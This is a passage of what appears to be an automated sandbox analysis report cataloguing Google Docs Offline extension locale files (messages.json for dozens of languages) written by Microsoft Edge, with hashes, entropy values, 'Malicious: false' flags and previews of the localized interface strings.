Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
